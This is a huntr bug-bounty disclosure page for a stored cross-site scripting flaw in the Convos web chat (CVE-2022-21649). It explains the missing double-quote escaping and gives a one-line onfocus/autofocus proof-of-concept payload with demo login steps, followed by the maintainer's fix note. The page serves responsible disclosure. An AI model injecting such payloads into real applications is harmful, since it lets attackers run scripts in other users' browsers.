huntr

Cross-site Scripting (XSS) - Stored in convos-chat/convos

0

✓ Valid Reported on Dec 29th 2021

Description

The Convos is an open source multi-user chat that runs in a web browser. Characters starting with "https://" in the chat window create <a> tag. Stored XSS vulnerability using onfocus and autofocus occurs because escaping exists for "<" or ">" but escaping for double quarter does not exist.

Proof of Concept

```
Username : whwjddnjs142@gmail.com
Password : qwer12211@

1. Open the https://demo.convos.chat/login and Login as to above account
2. Go to https://demo.convos.chat/chat/irc-demo-irc-convos/<chat room name>
3. In chat room. Enter the https://x."//onfocus="alert(document.domain)"//a

Video : https://www.youtube.com/watch?v=L1Be-D-GVmQ
```

Impact

Through this vulnerability, an attacker is capable to execute malicious scripts.

Occurrences

JS I18N.js L158L168

https://github.com/convos-chat/convos/blob/main/assets/store/I18N.js#L

CVE

CVE-2022-21649

(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Stored

Severity

High (7.3)

Visibility

Public

Status

Fixed

Found by

Pocas

@p0cas

amateur

This report was seen 340 times.

We are processing your report and will contact the **convos-chat/convos** team within 24 hours. a year ago

Pocas modified the report a year ago

Pocas modified the report a year ago

We have contacted a member of the **convos-chat/convos** team and are waiting to hear back a year ago

A **convos-chat/convos** maintainer validated this vulnerability a year ago

Pocas has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Chat with us

A **convos-chat/convos** maintainer marked this as fixed in **v6.49** with commit **30b215** a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

I18N.js#L158L168 has been validated ✓

A convos-chat/convos maintainer a year ago Maintainer

Thank you - I screwed up pretty badly in v6.43 :(

Happy new year!

Pocas a year ago Researcher

No :) Thanks for the patch.

Happy New Year. You did a great job this year too :)

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

part of 418sec

company

about

team

Chat with us